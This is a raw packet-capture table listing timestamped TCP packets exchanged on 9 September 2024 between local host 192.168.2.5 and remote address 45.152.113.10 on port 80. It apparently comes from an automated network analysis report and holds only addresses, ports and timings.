Sep 9, 2024 18:45:02.574141979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574153900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574162006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574208975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574338913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574389935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574394941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574408054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574448109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574448109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574501991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574517965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574536085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574553013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574579000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574579000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574609995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574626923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574642897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574660063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574664116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574677944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574696064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574696064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574703932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574717045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574733973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574749947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574764013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574780941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574825048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574825048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574889898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574906111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574922085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574944973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574947119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574965000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574965954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574965954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574982882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574995041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.575001001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.575011969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.575031996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.575052023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604573011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604593992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604621887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604640961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604648113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604657888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604672909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604688883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604688883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604736090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604753017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604779005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604795933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604808092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604815006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604844093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604878902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604887009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604903936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.604938030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604938984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.604971886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605012894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605030060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605072021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605201960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605420113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605433941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605458975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605474949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605485916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605490923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605504036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605525970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605555058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605577946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605604887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605621099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605633974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605650902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605660915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605668068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605679035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605695009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605715036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605746031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605746984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605802059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605818033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605834007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605850935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605854988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605892897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605892897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605895042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605892897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.605916023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605952024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.605983019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606012106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606029987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606039047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606065035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606095076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606151104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606167078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606183052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606198072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606214046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606231928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606231928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606270075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606282949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606338024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606363058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606381893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606420994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606429100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606446981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606463909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606484890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606511116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606511116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606528997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606542110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606561899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606578112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606589079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606595039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606610060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606631041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.606631994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606668949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.606699944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.666626930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666675091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666691065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666708946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666726112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666742086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666759968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666798115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666816950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666834116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666851044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.666945934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.666945934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.666945934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.666945934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667074919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667107105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667238951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667258024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667260885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667274952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667293072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667304993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667327881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667395115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667426109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667431116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667450905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667459011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667467117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667479992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667505026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667538881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667557955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667573929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667591095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667646885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667679071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667696953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667712927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667728901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667746067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667773962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667866945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667880058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667897940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667913914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667931080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667948008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667952061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.667965889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.667973995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.668016911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.668045044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.693456888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.700906038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.846899033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.847001076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.946621895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.951659918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:03.094485044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:03.094682932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:03.498878002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:03.504149914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:03.644196987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:03.644265890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.022289038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.027888060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159296989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159315109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159323931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159363031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159373045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159382105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159392118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159403086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159421921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159451008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159641027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159688950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159688950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159702063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159732103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159753084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159765005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159775019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159807920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159809113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159823895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159836054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159836054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159862995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159888029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159898996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159950972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.159960032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159970045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.159998894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.160012960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197613955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197686911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197691917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197707891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197726011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197732925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197736025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197753906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197755098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197766066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197777033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197788000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197793007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197805882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197824001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197835922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197840929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197850943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197853088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197866917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197880983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197889090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197899103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197913885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197916985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197925091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197936058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.197973013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.197982073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198010921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198090076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198101997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198111057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198122978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198138952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198153019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198191881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198363066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198388100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198398113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198421955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198436022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198446989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198457956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198498011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198520899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.198553085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198563099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198568106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198571920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198576927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198580027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.198652029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.235954046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.235966921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.235982895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.235994101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236017942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236022949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236027002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236037016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236047029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236053944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236058950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236071110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236074924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236080885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236093044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236114979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236135960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236135960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236166954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236169100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236198902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236215115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236246109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236488104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236509085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236520052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236531019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236543894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236558914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236567974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236571074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236571074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236577988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236591101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236598015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236608028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236615896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236628056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236632109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236639977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236651897 CEST	80	49707	45.152.113.10	192.168.2.5
